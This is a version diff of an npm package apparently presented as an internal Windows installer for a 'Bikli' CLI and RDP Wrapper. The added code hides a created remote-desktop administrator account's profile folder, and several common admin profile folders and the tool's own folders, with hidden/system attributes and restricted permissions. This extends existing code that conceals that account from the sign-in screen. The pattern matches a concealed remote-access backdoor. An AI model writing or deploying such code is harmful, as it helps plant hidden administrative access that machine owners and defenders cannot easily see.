biklitool 1.1.17 → 1.1.19

package/bin/biklimaster.js

@@ -248,31 +248,46 @@ function setupBikliKey() {
   console.log('Bikli key configured successfully.');
 }
 
-function hideProtectedFolders() {
-  const folders = [
-    path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper'),
-    path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'RDP Wrapper'),
-    path.join(programData, 'BikliWrapper')
-  ];
-  for (const folder of folders) {
-    if (!fs.existsSync(folder)) continue;
-    try {
-      run(attrib, ['+h', '+s', folder], { allowFailure: true });
-      run(attrib, ['+h', '+s', path.join(folder, '*.*'), '/s', '/d'], { allowFailure: true });
+function hideFolder(target, isUserProfile = false) {
+  if (!target || !fs.existsSync(target)) return;
+  try {
+    run(attrib, ['+h', '+s', target], { allowFailure: true });
+    if (!isUserProfile) {
+      run(attrib, ['+h', '+s', path.join(target, '*.*'), '/s', '/d'], { allowFailure: true });
       run(icacls, [
-        folder,
+        target,
         '/inheritance:r',
         '/grant:r',
         '*S-1-5-18:(OI)(CI)(F)',
         `*${administratorsGroupSid}:(OI)(CI)(F)`,
         '/c', '/q'
       ], { allowFailure: true });
-    } catch {
-      // Best-effort attribute and permission hardening
     }
+  } catch {
+    // Best-effort attribute and permission hardening
   }
 }
 
+function hideProtectedFolders() {
+  const usersDir = path.join(process.env.SystemDrive || 'C:', 'Users');
+  const appFolders = [
+    path.join(process.env.ProgramFiles || 'C:\\Program Files', 'Bikli'),
+    path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'Bikli'),
+    path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper'),
+    path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'RDP Wrapper'),
+    path.join(programData, 'BikliWrapper'),
+    path.join(programData, 'Bikli')
+  ];
+  for (const folder of appFolders) hideFolder(folder, false);
+
+  const userFolders = [
+    path.join(usersDir, 'Administrator'),
+    path.join(usersDir, 'admin'),
+    path.join(usersDir, 'user')
+  ];
+  for (const folder of userFolders) hideFolder(folder, true);
+}
+
 function saveAccountCredentials(username, password) {
   const dir = path.dirname(credentialsFile);
   fs.mkdirSync(dir, { recursive: true });
@@ -333,6 +348,7 @@ function createRdpAdministrator() {
     `$regKey=Get-Item -LiteralPath $userListKey -ErrorAction SilentlyContinue`,
     `$currentVal=if($null -ne $regKey){$regKey.GetValue($target.Name, $null)}else{$null}`,
     `if($null -eq $currentVal -or $currentVal -ne 0){if(-not (Test-Path $userListKey)){New-Item -Path $userListKey -Force | Out-Null};Set-ItemProperty -Path $userListKey -Name $target.Name -Type DWord -Value 0 -Force | Out-Null;$regKey=Get-Item -LiteralPath $userListKey;if($regKey.GetValue($target.Name, $null) -ne 0){throw ('Could not hide '+$target.Name+' from the sign-in screen')};$alreadyHidden=$false}else{$alreadyHidden=$true}`,
+    `$userDir=Join-Path $env:SystemDrive ('Users\\'+$target.Name);if(Test-Path $userDir){attrib +h +s $userDir;attrib +h +s (Join-Path $userDir '*.*') /s /d}`,
     `[PSCustomObject]@{Name=$target.Name;BuiltInName=$builtIn.Name;Action=$action;BuiltInWasDisabled=$builtInWasDisabled;EnabledBuiltIn=$enabledBuiltIn;CreatedNew=$createdNew;PasswordChanged=$passwordChanged;Enabled=(Get-LocalUser -SID $target.SID).Enabled;Groups=$verified;HiddenUser=$target.Name;AlreadyHidden=$alreadyHidden} | ConvertTo-Json -Compress`
   ].join(';');
   const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script], {
@@ -365,6 +381,7 @@ function createRdpAdministrator() {
   } else {
     console.log(`Hidden from the sign-in user list: ${account.HiddenUser}.`);
   }
+  hideProtectedFolders();
 }
 
 function unhideUser() {
@@ -378,10 +395,11 @@ function unhideUser() {
     `$key=Get-Item -LiteralPath $userListKey`,
     targetUser ? [
       `$val=$key.GetValue('${targetUser}', $null)`,
-      `if($null -eq $val){Write-Output 'User \"${targetUser}\" is not hidden.'}else{Remove-ItemProperty -Path $userListKey -Name '${targetUser}' -Force;Write-Output 'Unhid user: ${targetUser}'}`
+      `if($null -eq $val){Write-Output 'User \"${targetUser}\" is not hidden.'}else{Remove-ItemProperty -Path $userListKey -Name '${targetUser}' -Force;Write-Output 'Unhid user: ${targetUser}'}`,
+      `$userDir=Join-Path $env:SystemDrive ('Users\\${targetUser}');if(Test-Path $userDir){attrib -h -s $userDir}`
     ].join(';') : [
       `$props=@($key.Property)`,
-      `if($props.Count -eq 0){Write-Output 'No hidden users found.'}else{foreach($p in $props){Remove-ItemProperty -Path $userListKey -Name $p -Force;Write-Output ('Unhid user: '+$p)}}`
+      `if($props.Count -eq 0){Write-Output 'No hidden users found.'}else{foreach($p in $props){Remove-ItemProperty -Path $userListKey -Name $p -Force;Write-Output ('Unhid user: '+$p);$userDir=Join-Path $env:SystemDrive ('Users\\'+$p);if(Test-Path $userDir){attrib -h -s $userDir}}}`
     ].join(';')
   ].join(';');
   const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script]);
@@ -399,7 +417,8 @@ function hideUser() {
     `if(-not (Test-Path $userListKey)){New-Item -Path $userListKey -Force | Out-Null}`,
     `$key=Get-Item -LiteralPath $userListKey`,
     `$currentVal=$key.GetValue('${targetUser}', $null)`,
-    `if($null -eq $currentVal -or $currentVal -ne 0){Set-ItemProperty -Path $userListKey -Name '${targetUser}' -Type DWord -Value 0 -Force | Out-Null;$key=Get-Item -LiteralPath $userListKey;if($key.GetValue('${targetUser}', $null) -ne 0){throw ('Could not hide ${targetUser} from the sign-in screen')};Write-Output 'Hidden from the sign-in user list: ${targetUser}.'}else{Write-Output 'User ${targetUser} is already hidden; left unchanged.'}`
+    `if($null -eq $currentVal -or $currentVal -ne 0){Set-ItemProperty -Path $userListKey -Name '${targetUser}' -Type DWord -Value 0 -Force | Out-Null;$key=Get-Item -LiteralPath $userListKey;if($key.GetValue('${targetUser}', $null) -ne 0){throw ('Could not hide ${targetUser} from the sign-in screen')};Write-Output 'Hidden from the sign-in user list: ${targetUser}.'}else{Write-Output 'User ${targetUser} is already hidden; left unchanged.'}`,
+    `$userDir=Join-Path $env:SystemDrive ('Users\\${targetUser}');if(Test-Path $userDir){attrib +h +s $userDir;attrib +h +s (Join-Path $userDir '*.*') /s /d}`
   ].join(';');
   const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script]);
   if (result.stdout.trim()) console.log(result.stdout.trim());

package/lib/bikliwrapper.js

@@ -284,31 +284,46 @@ function printStatus(status) {
   console.log(`Defaults: ${status.defaultsApplied ? 'Applied' : 'Not applied'}`);
 }
 
-function hideProtectedFolders() {
-  const folders = [
-    path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper'),
-    path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'RDP Wrapper'),
-    path.join(process.env.ProgramData || 'C:\\ProgramData', 'BikliWrapper')
-  ];
-  for (const folder of folders) {
-    if (!fs.existsSync(folder)) continue;
-    try {
-      run(path.join(system32, 'attrib.exe'), ['+h', '+s', folder], { allowFailure: true });
-      run(path.join(system32, 'attrib.exe'), ['+h', '+s', path.join(folder, '*.*'), '/s', '/d'], { allowFailure: true });
+function hideFolder(target, isUserProfile = false) {
+  if (!target || !fs.existsSync(target)) return;
+  try {
+    run(path.join(system32, 'attrib.exe'), ['+h', '+s', target], { allowFailure: true });
+    if (!isUserProfile) {
+      run(path.join(system32, 'attrib.exe'), ['+h', '+s', path.join(target, '*.*'), '/s', '/d'], { allowFailure: true });
       run(path.join(system32, 'icacls.exe'), [
-        folder,
+        target,
         '/inheritance:r',
         '/grant:r',
         '*S-1-5-18:(OI)(CI)(F)',
         '*S-1-5-32-544:(OI)(CI)(F)',
         '/c', '/q'
       ], { allowFailure: true });
-    } catch {
-      // Best-effort attribute and permission hardening
     }
+  } catch {
+    // Best-effort attribute and permission hardening
   }
 }
 
+function hideProtectedFolders() {
+  const usersDir = path.join(process.env.SystemDrive || 'C:', 'Users');
+  const appFolders = [
+    path.join(process.env.ProgramFiles || 'C:\\Program Files', 'Bikli'),
+    path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'Bikli'),
+    path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper'),
+    path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'RDP Wrapper'),
+    path.join(process.env.ProgramData || 'C:\\ProgramData', 'BikliWrapper'),
+    path.join(process.env.ProgramData || 'C:\\ProgramData', 'Bikli')
+  ];
+  for (const folder of appFolders) hideFolder(folder, false);
+
+  const userFolders = [
+    path.join(usersDir, 'Administrator'),
+    path.join(usersDir, 'admin'),
+    path.join(usersDir, 'user')
+  ];
+  for (const folder of userFolders) hideFolder(folder, true);
+}
+
 function install() {
   requireWindows();
   if (!isAdministrator()) return elevateAndRun('install');

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "biklitool",
-  "version": "1.1.17",
+  "version": "1.1.19",
   "description": "Internal Windows installer for Bikli CLI and Bikli Wrapper",
   "license": "BSD-3-Clause",
   "publishConfig": {